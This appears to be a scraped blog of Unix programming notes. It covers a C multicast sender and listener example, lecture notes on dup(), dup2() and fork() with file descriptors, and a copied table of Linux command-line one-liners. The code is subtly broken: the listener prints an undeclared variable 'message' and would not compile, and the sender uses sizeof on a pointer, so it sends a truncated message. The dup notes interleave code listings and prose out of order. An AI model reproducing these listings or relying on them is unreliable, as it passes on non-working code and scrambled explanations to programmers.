In addition to the host part of an IP multicast address, there is also a port number, as in TCP or UDP sockets. This port number information is used by the kernel to decide which port on the local machine to route packets to. However, unlike in TCP or UDP, there can be many sockets which receive IP multicast packets off a single local port. Binding the socket to a local port is done with bind(2), and is done in the same manner as binding to a UDP address.
After the bind(2) has been performed and we have used setsockopt(2) to join a multicast group, we are ready to receive. An ordinary recvfrom(2) call may be used to read datagrams off of the receive socket.
An Example of Multicast Programming: "Hello, World!"
Here is an example which illustrates all the facilities described here for using multicast. It consists of two programs: sender and listener. The listener program simply echoes everything it receives to its standard out, and the sender multicasts "hello, world!" to everyone else in the multicast group.
===== Multicast Example Programs
Sender Program
/*
* sender.c -- multicasts "hello, world!" to a multicast group once a second
*
* Antony Courtney, 25/11/94
*/
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <time.h>
#include <string.h>
#include <stdio.h>
#define HELLO_PORT 12345
#define HELLO_GROUP "225.0.0.37"
main(int argc, char *argv[])
{
struct sockaddr_in addr;
int fd, cnt;
struct ip_mreq mreq;
char *message="Hello, World!";
/* create what looks like an ordinary UDP socket */
if ((fd=socket(AF_INET,SOCK_DGRAM,0)) < 0) {
perror("socket");
exit(1);
}
/* set up destination address */
memset(&addr,0,sizeof(addr));
addr.sin_family=AF_INET;
addr.sin_addr.s_addr=inet_addr(HELLO_GROUP);
addr.sin_port=htons(HELLO_PORT);
/* now just sendto() our destination! */
while (1) {
if (sendto(fd,message,sizeof(message),0,(struct sockaddr *) &addr,
sizeof(addr)) < 0) {
perror("sendto");
exit(1);
}
sleep(1);
}
}Listener Program
/*
* listener.c -- joins a multicast group and echoes all data it receives from
* the group to its stdout...
*
* Antony Courtney, 25/11/94
* Modified by: Frédéric Bastien (25/03/04)
* to compile without warning and work correctly
*/
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <time.h>
#include <string.h>
#include <stdio.h>
#define HELLO_PORT 12345
#define HELLO_GROUP "225.0.0.37"
#define MSGBUFSIZE 256
main(int argc, char *argv[])
{
struct sockaddr_in addr;
int fd, nbytes,addrlen;
struct ip_mreq mreq;
char msgbuf[MSGBUFSIZE];
u_int yes=1; /*** MODIFICATION TO ORIGINAL */
/* create what looks like an ordinary UDP socket */
if ((fd=socket(AF_INET,SOCK_DGRAM,0)) < 0) {
perror("socket");
exit(1);
}
/**** MODIFICATION TO ORIGINAL */
/* allow multiple sockets to use the same PORT number */
if (setsockopt(fd,SOL_SOCKET,SO_REUSEADDR,&yes,sizeof(yes)) < 0) {
perror("Reusing ADDR failed");
exit(1);
}
/*** END OF MODIFICATION TO ORIGINAL */
/* set up destination address */
memset(&addr,0,sizeof(addr));
addr.sin_family=AF_INET;
addr.sin_addr.s_addr=htonl(INADDR_ANY); /* N.B.: differs from sender */
addr.sin_port=htons(HELLO_PORT);
/* bind to receive address */
if (bind(fd,(struct sockaddr *) &addr,sizeof(addr)) < 0) {
perror("bind");
exit(1);
}
/* use setsockopt() to request that the kernel join a multicast group */
mreq.imr_multiaddr.s_addr=inet_addr(HELLO_GROUP);
mreq.imr_interface.s_addr=htonl(INADDR_ANY);
if (setsockopt(fd,IPPROTO_IP,IP_ADD_MEMBERSHIP,&mreq,sizeof(mreq)) < 0) {
perror("setsockopt");
exit(1);
}
/* now just enter a read-print loop */
while (1) {
addrlen=sizeof(addr);
if ((nbytes=recvfrom(fd,msgbuf,MSGBUFSIZE,0,
(struct sockaddr *) &addr,&addrlen)) < 0) {
perror("recvfrom");
exit(1);
}
puts(message);
}
}
Wednesday, January 12, 2011
Friday, January 7, 2011
About DUP()
Open files
First, read section 3.10 in the book. This discusses the various ways you can share open files. Basically, what is says is the following:The operating system (OS) has three kinds of data structures for files:
- ``File table entry'' -- it has one of these for each file descriptor for a user. It contains information like the current lseek pointer, and a pointer to a ``vnode'' (see below). So, when you start your program, the OS has three file table entries for you -- one each for stdin, stdout, stderr. Each time you call open(), a new file table entry is created for you in the OS.
- ``vnode'' -- There is one of these for each physical file that has been opened. It contains a pointer to the file's inode, the file's size, etc.
- ``inode'' -- There is one of these for each file on disk. It contains all the information returned by stat().
So, look at the following program:
main()Now, what has happened? The OS has created two file table entries, one for each open() call, but only one vnode. This is because there is only one file. Both file table entries point to the same vnode, but they each have different seek pointers. Thus, if we expand the above program into: (This is file fs1.c)
{
int fd1, fd2;
fd1 = open("file1", O_WRONLY | O_CREAT | O_TRUNC, 0644);
fd2 = open("file1", O_WRONLY);
}
main()Then what will happen? Well, the first write() call will write the string "Jim\n" into file1. Then the second write() call will overwrite it with "Plank\n". This is because each fd points to its own file table entry, which has its own lseek pointer, and thus the first write() does not update the lseek pointer of the fd2.
{
int fd1, fd2;
fd1 = open("file1", O_WRONLY | O_CREAT | O_TRUNC, 0644);
fd2 = open("file1", O_WRONLY);
write(fd1, "Jim\n", strlen("Jim\n"));
write(fd2, "Plank\n", strlen("Plank\n"));
close(fd1);
close(fd2);
}
To make this more clear, fs1a.c prints out the values of each fd's seek pointer at each step of the program. As you can see, even though the two fd's are for the same file, since they each have their own file table entry, they each have their own seek pointer:
UNIX> fs1
UNIX> cat file1
Plank
UNIX> fs1a
Before writing Jim: lseek(fd1, 0, 1): 0. lseek(fd2, 0, 1): 0
Before writing Plank: lseek(fd1, 0, 1): 4. lseek(fd2, 0, 1): 0
After writing Plank: lseek(fd1, 0, 1): 4. lseek(fd2, 0, 1): 6
UNIX> cat file1
Plank
UNIX>
Dup()
Now, the system call dup(int fd) duplicates a file descriptor fd. What this does is return a second file descriptor that points to the same file table entry as fd does. So now you can treat the two file descriptors as identical.Look at an alteration of fs1.c (in fs2.c). Instead of calling open() to initialize fd2, it calls dup(fd1). Thus, after the first write, the lseek pointer of fd2 has been updated to reflect the write to fd1 -- this is because the two file descriptors point to the same file table entry.
Thus, after running fs2.c, the file "file2" should say "Jim\nPlank\n". Like fs1a.c, fs2a.c prints out the lseek pointers of fd1 and fd2 at each step. As you can see, the write() to fd1 updates the lseek pointer for fd2:
UNIX> fs2
UNIX> cat file2
Jim
Plank
UNIX> fs2a
Before writing Jim: lseek(fd1, 0, 1): 0. lseek(fd2, 0, 1): 0
Before writing Plank: lseek(fd1, 0, 1): 4. lseek(fd2, 0, 1): 4
After writing Plank: lseek(fd1, 0, 1): 10. lseek(fd2, 0, 1): 10
UNIX> cat file2
Jim
Plank
UNIX>
Now, when fork() is called, ALL FILE DESCRIPTORS ARE DUPLICATED, AS IF dup() WERE CALLED. Thus, look at the following program (fs3.c):
main()What should happen? Well, whichever process gets control of the CPU first after the fork() will write s to file3. Then the other process will append its string s to file3. For example:
{
char s[1000];
int i, fd;
fd = open("file3", O_WRONLY | O_CREAT | O_TRUNC, 0644);
i = fork();
sprintf(s, "fork() = %d.\n", i);
write(fd, s, strlen(s));
}
UNIX> fs3Now, this is because the file descriptor fd is duplicated across fork() calls. Were it not duplicated, but instead re-opened, then one write() would overwrite the other.
UNIX> cat file3
fork() = 0.
fork() = 22107.
UNIX> fs3
UNIX> cat file3
fork() = 0.
fork() = 22110.
UNIX> fs3
UNIX> cat file3
fork() = 22113.
fork() = 0.
UNIX>
Perhaps you're thinking, ``He opened a file and then called fork(). Does he have to worry about that buffer copying problem in the last lab?'' The answer is no, because I'm using write(), which is a system call, and there is no buffering. You have to worry about the buffering problem when the standard I/O library is being used, and the buffer is not empty when fork() is called. For example, look at fs3a.c and fs3b.c. They use fprintf() instead of write(). When I call them, I get the following:
UNIX> fs3aDo you see where the copied buffer is a problem? Make sure you can explain this phenomenon.
UNIX> cat file3
fork() = 0.
fork() = 3716.
UNIX> fs3b
UNIX> cat file3
This is file3
fork() = 3719.
This is file3
fork() = 0.
UNIX>
Dup2()
Dup2() is a system call that dups an open file descriptor so that the result is a desired file descriptor.int dup2(int fd1, int fd2)Dup2() is most often used so that you can redirect standard input or output. When you call dup2(fd, 0) and the dup2() call is successful, then whenever your program reads from standard input, it will read from fd. Similarly, when you call dup2(fd, 1) and the dup2() call is successful, then whenever your program writes to standard output, it will write to fd.
With dup2(), fd2 specifies the desired value of the new
descriptor. If descriptor fd2 is already in use, it is
first deallocated as if it were closed by close(2V).
For example, look at dup2ex.c. This opens the file file4 for writing, and then uses dup2 to redirect standard output to that file. When it's done, you'll see that everything has gone intto file4:
UNIX> dup2exWhy did I make the fflush() call in dup2ex.c? Take it out and see. Make sure that you can explain this.
UNIX> cat file4
Standard output now goes to file4
It goes even after we closed file descriptor 3
putchar works
And fwrite
And write
UNIX>
Now, suppose you want to execute, for example, "cat < f1 > f2" by calling fork(), exec() and dup2() instead of doing it from the shell. You can do this in catf1f2.c. This opens f1 for reading on stdin (fd 0), and f2 for writing on stdout (fd 1).
Study this program closely, because you will find it greatly helpful in the jsh lab.
Thursday, December 16, 2010
: http://www.pixelbeat.org/cmdline.html linux cmdline commands
: http://www.pixelbeat.org/cmdline.html linux cmdline commands
This is a list of linux commands for common operations. |
Command | Description | |
• | apropos word | Show commands pertinent to word. See also threadsafe |
| which command | Show full path name of command |
| time command | See how long a command takes |
• | time cat | Start stopwatch. Ctrl-d to stop. See also sw |
• | nice info | Run a low priority command (info in this case) |
• | renice 19 -p $$ | Make shell (script) low priority. Use for non interactive tasks |
• | look prefix | Quickly search (sorted) dictionary |
• | grep --color expr...ion /usr/share/dict/words | Highlight occurances of regular expression in dictionary |
| gpg -c file | Encrypt file |
| gpg file.gpg | Decrypt file |
• | alias hd='od -Ax -tx1z -v' | Handy hexdump. (usage e.g.: • hd /proc/self/cmdline | less) |
• | alias realpath='readlink -f' | Canonicalize path. (usage e.g.: • realpath ~/../$USER) |
• | set | grep $USER | Search current environment |
• | ls /usr/bin | pr -T9 -W$COLUMNS | Print in 9 columns to width of terminal |
| touch -c -t 0304050607 file | Set file timestamp (YYMMDDhhmm) |
dir navigation | ||
• | cd - | Go to previous directory |
• | cd | Go to home directory |
| (cd dir && command) | Go to dir, execute command and return to current dir |
• | pushd . | Put current dir on stack so you can popd back to it |
CDs | ||
| gzip < /dev/cdrom > cdrom.iso.gz | Save copy of data cdrom |
| mkisofs -V NAME -r dir | gzip > cdrom.iso.gz | Create cdrom image from contents of dir |
| mount -o loop cdrom.iso /mnt/dir | Mount the cdrom image at /mnt/dir (read only) |
| cdrecord -v dev=/dev/cdrom blank=fast | Clear a CDRW |
| gzip -dc cdrom.iso.gz | cdrecord -v dev=/dev/cdrom - | Burn cdrom image (use dev=ATAPI -scanbus to confirm dev) |
| cdparanoia -B | Rip audio tracks from CD to wav files in current dir |
| cdrecord -v dev=/dev/cdrom -audio *.wav | Make audio CD from all wavs in current dir (see also cdrdao) |
| oggenc --tracknum='track' track.cdda.wav -o 'track.ogg' | Make ogg file from wav file |
archives | ||
| tar c dir/ | bzip2 > dir.tar.bz2 | Make archive of dir/ |
| bzip2 -dc dir.tar.bz2 | tar x | Extract archive (use gzip instead of bzip2 for tar.gz files) |
| tar c dir/ | gzip | gpg -c | ssh user@remote 'dd of=dir.tar.gz.gpg' | Make encrypted archive of dir/ on remote machine |
| find dir/ -name '*.txt' | tar c --files-from=- | bzip2 > dir_txt.tar.bz2 | Make archive of subset of dir/ and below |
| find dir/ -name '*.txt' | xargs cp -a --target-directory=dir_txt/ --parents | Make copy of subset of dir/ and below |
| ( tar c /dir/to/copy ) | ( cd /where/to/ && tar x -p ) | Copy (with permissions) copy/ dir to /where/to/ dir |
| ( cd /dir/to/copy && tar c . ) | ( cd /where/to/ && tar x -p ) | Copy (with permissions) contents of copy/ dir to /where/to/ |
| ( tar c /dir/to/copy ) | ssh -C user@remote 'cd /where/to/ && tar x -p' | Copy (with permissions) copy/ dir to remote:/where/to/ dir |
| dd bs=1M if=/dev/hda | gzip | ssh user@remote 'dd of=hda.gz' | Backup harddisk to remote machine |
rsync (Use the --dry-run option for testing) | ||
| rsync -P rsync://rsync.server.com/path/to/file file | Only get diffs. Do multiple times for troublesome downloads |
| rsync --bwlimit=1000 fromfile tofile | Locally copy with rate limit. It's like nice for I/O |
| rsync -az -e ssh --delete ~/public_html/ remote.com:'~/public_html' | Mirror web site (using compression and encryption) |
| rsync -auz -e ssh remote:/dir/ . && rsync -auz -e ssh . remote:/dir/ | Synchronize current directory with remote one |
file searching | ||
• | alias l='ls -l --color=auto' | quick dir listing |
• | ls -lrt | List files by date. See also newest |
| find -name '*.[ch]' | xargs grep -E 'expr' | Search 'expr' in this dir and below. See also findrepo |
| find -type f -print0 | xargs -r0 grep -F 'string' | Search all regular files for 'string' in this dir and below |
| find -maxdepth 1 -type f | xargs grep -F 'string' | Search all regular files for 'string' in this dir |
| find -maxdepth 1 -type d | while read dir; do echo $dir; echo cmd2; done | Process each item with multiple commands (in while loop) |
• | find -type f ! -perm -444 | Find files not readable by all (useful for web site) |
• | find -type d ! -perm -111 | Find dirs not accessible by all (useful for web site) |
• | locate -r 'file[^/]*\.txt' | Search cached index for names. This re is like glob *file*.txt |
networking (Note ifconfig, route, mii-tool, nslookup commands are obsolete) | ||
• | ip link show | List interfaces |
| ethtool interface | List interface status |
| ip link set dev eth0 name wan | Rename eth0 to wan |
| ip addr add 1.2.3.4/24 brd + dev eth0 | Add ip and mask(255.255.255.0) |
| ip link set dev interface up | Bring interface up (or down) |
| ip route add default via 1.2.3.254 | Set default gateway to 1.2.3.254 |
• | tc qdisc add dev lo root handle 1:0 netem delay 20msec | Add 20ms latency to loopback device (for testing) |
• | tc qdisc del dev lo root | Remove latency added above |
• | host pixelbeat.org | Lookup ip address for name or vice versa |
• | hostname -i | Lookup local ip address (equivalent to host `hostname`) |
• | netstat -tupl | List internet services on a system |
• | netstat -tup | List active connections to/from system |
wget (multi purpose download tool) | ||
• | (cd cmdline && wget -nd -pHEKk http://www.pixelbeat.org/cmdline.html) | Store local browsable version of a page to the current dir |
| wget -c http://www.example.com/large.file | Continue downloading a partially downloaded file |
| wget -r -nd -np -l1 -A '*.jpg' http://www.example.com/ | Download a set of files to the current directory |
| wget ftp://remote/file[1-9].iso/ | FTP supports globbing directly |
• | wget -q -O- http://www.pixelbeat.org/timeline.html | grep 'a href' | head | Process output directly |
| echo 'wget url' | at 01:00 | Download url at 1AM to current dir |
| wget --limit-rate=20k url | Do a low priority download (limit to 20KB/s in this case) |
| wget -nv --spider --force-html -i bookmarks.html | Check links in a file |
| wget --mirror http://www.example.com/ | Efficiently update a local copy of a site (handy from cron) |
windows (note samba is the package that provides all this windows specific networking support) | ||
• | smbtree | Find windows machines. See also findsmb |
| nmblookup -A 1.2.3.4 | Find the windows (netbios) name associated with ip address |
| smbclient -L windows_box | List shares on windows machine or samba server |
| mount -t smbfs -o fmask=666,guest //windows_box/share /mnt/share | Mount a windows share |
| echo 'message' | smbclient -M windows_box | Send popup to windows machine (off by default in XP sp2) |
math | ||
• | echo '(1 + sqrt(5))/2' | bc -l | Quick math (Calculate ö) |
• | echo 'obase=16; ibase=10; 123' | bc | Base conversion (decimal to hexadecimal) |
• | echo $((0x2dec)) | Base conversion (hex to dec) ((shell arithmetic expansion)) |
• | echo 'pad=20; min=64; (100*10^6)/((pad+min)*8)' | bc | More complex (int) e.g. This shows max FastE packet rate |
• | echo 'pad=20; min=64; print (100E6)/((pad+min)*8)' | python | Python handles scientific notation |
• | echo 'pad=20; plot [64:1518] (100*10**6)/((pad+x)*8)' | gnuplot -persist | Plot FastE packet rate vs packet size |
• | seq 100 | (tr '\n' +; echo 0) | bc | |
text manipulation (note sed uses stdin and stdout, so if you want to edit files, append <oldfile >newfile) | ||
| sed 's/string1/string2/g' | Replace string1 with string2 |
| sed 's/\(.*\)1/\12/g' | Modify anystring1 to anystring2 |
| sed '/ *#/d; /^ *$/d' | Remove comments and blank lines |
| sed ':a; /\\$/N; s/\\\n//; ta' | Concatenate lines with trailing \ |
| sed 's/[ \t]*$//' | Remove trailing spaces from lines |
| sed 's/\([\\`\\"$\\\\]\)/\\\1/g' | Escape shell metacharacters active within double quotes |
| sed -n '1000p;1000q' | Print 1000th line |
| sed -n '10,20p;20q' | Print lines 10 to 20 |
| sed -n 's/.*<[tT][iI][tT][lL][eE]>\(.*\)<\/[tT][iI][tT][lL][eE]>.*/\1/p;T;q' | Extract title from HTML web page. |
| sort -t. -k1,1n -k2,2n -k3,3n -k4,4n | Sort IPV4 ip addresses |
• | echo 'Test' | tr '[:lower:]' '[:upper:]' | Case conversion |
• | tr -dc '[:print:]' < /dev/urandom | Filter non printable characters |
• | grep 'processor' /proc/cpuinfo | wc -l | Count lines |
set operations (Note LANG=C is for speed) (Note also these assume no duplicate lines within a file) | ||
| LANG=C sort file1 file2 | uniq | Union of unsorted files |
| LANG=C sort file1 file2 | uniq -d | Intersection of unsorted files |
| LANG=C sort file1 file1 file2 | uniq -u | Difference of unsorted files |
| LANG=C sort file1 file2 | uniq -u | Symmetric Difference of unsorted files |
| LANG=C comm file1 file2 | sed 's/^\t*//' | Union of sorted files |
| LANG=C comm -12 file1 file2 | Intersection of sorted files |
| LANG=C comm -13 file1 file2 | Difference of sorted files |
| LANG=C comm -3 file1 file2 | sed 's/^\t*//' | Symmetric Difference of sorted files |
calendar | ||
• | cal -3 | Display a calendar |
• | cal 9 1752 | Display a calendar for a particular month year |
• | date -d fri | What date is it this friday. See also day |
• | date --date='25 Dec' +%A | What day does xmas fall on, this year |
• | date --date '1970-01-01 UTC 1234567890 seconds' | Convert number of seconds since the epoch to a date |
• | TZ=':America/Los_Angeles' date | What time is it on West coast of US (use tzselect to find TZ) |
| echo "mail -s 'get the train' P@draigBrady.com < /dev/null" | at 17:45 | Email reminder |
• | echo "DISPLAY=$DISPLAY xmessage cooker" | at "NOW + 30 minutes" | Popup reminder |
locales | ||
• | printf "%'d\n" 1234 | Print number with thousands grouping appropriate to locale |
• | BLOCK_SIZE=\'1 ls -l | get ls to do thousands grouping appropriate to locale |
• | echo "I live in `locale territory`" | Extract info from locale database |
• | locale | cut -d= -f1 | xargs locale -kc | less | List fields in locale database |
• | LANG=en_IE.utf8 locale int_prefix | Lookup locale info for specific country. See also ccodes |
disk space (See also FSlint) | ||
• | ls -lSr | Show files, biggest last |
• | du -s * | sort -k1,1rn | head | Show top disk users in current dir. See also dutop |
• | df -h | Show free disk space |
• | df -i | Show free inodes |
• | fdisk -l | Show disks partitions sizes and types (run as root) |
• | rpm -q -a --qf '%10{SIZE}\t%{NAME}\n' | sort -k1,1n | List all packages by installed size (Bytes) on rpm distros |
• | dpkg-query -W -f='${Installed-Size;10}\t${Package}\n' | sort -k1,1n | List all packages by installed size (KBytes) on deb distros |
• | dd bs=1 seek=2TB if=/dev/null of=ext3.test | Create a large test file (taking no space). See also truncate |
monitoring/debugging | ||
• | strace -c ls >/dev/null | Summarise/profile system calls made by command |
• | strace -f -e open ls >/dev/null | List system calls made by command |
• | ltrace -f -e getenv ls >/dev/null | List library calls made by command |
• | lsof -p $$ | List paths that process id has open |
• | lsof ~ | List processes that have specified path open |
• | tcpdump not port 22 | Show network traffic except ssh. See also tcpdump_not_me |
• | ps -e -o pid,args --forest | List processes in a hierarchy |
• | ps -e -o pcpu,cpu,nice,state,cputime,args --sort pcpu | sed '/^ 0.0 /d' | List processes by % cpu usage |
• | ps -e -orss=,args= | sort -b -k1,1n | pr -TW$COLUMNS | List processes by mem usage. See also ps_mem.py |
• | ps -C firefox-bin -L -o pid,tid,pcpu,state | List all threads for a particular process |
• | ps -p 1,2 | List info for particular process IDs |
• | last reboot | Show system reboot history. |
• | free -m | Show amount of (remaining) RAM (-m displays in MB) |
• | watch -n1 'cat /proc/interrupts' | Watch changeable data continuously |
System information (see also sysinfo) | ||
| hdparm -i /dev/hda | Show info about disk hda |
| hdparm -tT /dev/hda | Do a read speed test on disk hda |
| badblocks -s /dev/hda | Test for unreadable blocks on disk hda |
• | mount | column -t | Show mounted filesystems on the system (and align output) |
• | cat /proc/partitions | Show all partitions registered on the system |
• | grep MemTotal /proc/meminfo | Show RAM total seen by the system |
• | grep "model name" /proc/cpuinfo | Show CPU(s) info |
• | lspci -tv | Show PCI info |
• | lsusb -tv | Show USB info |
recode (Obsoletes iconv, dos2unix, unix2dos) | ||
• | recode -l | less | Show available conversions (aliases on each line) |
| recode windows-1252.. file_to_change.txt | Windows "ansi" to local charset (auto does CRLF conversion) |
| recode utf-8/CRLF.. file_to_change.txt | Windows utf8 to local charset |
| recode iso-8859-15..utf8 file_to_change.txt | Latin9 (western europe) to utf8 |
| recode ../b64 < file.txt > file.b64 | Base64 encode |
| recode /qp.. < file.txt > file.qp | Quoted printable decode |
| recode ..HTML < file.txt > file.html | Text to HTML |
• | recode -lf windows-1252 | grep euro | Lookup table of characters |
• | echo -n 0x80 | recode latin-9/x1..dump | Show what a code represents in latin-9 charmap |
• | echo -n 0x20AC | recode ucs-2/x2..latin-9/x | Show latin-9 encoding |
• | echo -n 0x20AC | recode ucs-2/x2..utf-8/x | Show utf-8 encoding |
interactive | ||
• | Powerful filemanager that can browse rpm, tar, ftp, ssh, ... | |
• | Virtual terminals with detach capability, ... | |
• | links | Web browser |
• | Interactive/scriptable graphing | |
• | octave | Matlab like environment |
We won't tell. Get more on shows you hate to love
(and love to hate): Yahoo! TV's Guilty Pleasures list.